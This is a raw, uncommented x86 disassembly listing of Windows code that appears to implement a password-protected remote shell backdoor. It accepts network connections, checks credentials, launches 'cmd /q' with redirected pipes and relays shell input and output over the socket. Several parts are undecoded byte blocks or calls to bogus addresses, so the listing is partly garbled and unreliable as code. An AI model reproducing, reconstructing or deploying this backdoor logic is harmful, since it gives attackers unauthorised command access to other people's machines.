		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 0D0E8h
		dd 900228F5h, 69C44D8Bh, 234C9h, 89C63B00h, 43E92481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 228F54Bh
		dd 0E890EDEBh, 228FD9Fh, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 26A04ABh
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		call	near ptr 26A044Bh
		nop
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		add	bl, cs:[edi+5Eh]
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 2700000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 2700000h


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 2700000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022EEBh, 4116CC68h, 39E89000h, 85023AF6h
		dd 902975C0h, 28F7EAE8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22EEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 228EE8Fh
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 228EE0Bh,	0E890EDEBh
		dd 228F65Fh, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022EE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26B0D20h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27D0000h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	near ptr 26A0CA7h
		nop
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26B0D20h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2750275h


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2750330h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 268024Eh
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 2680000h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 26A0CA7h
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
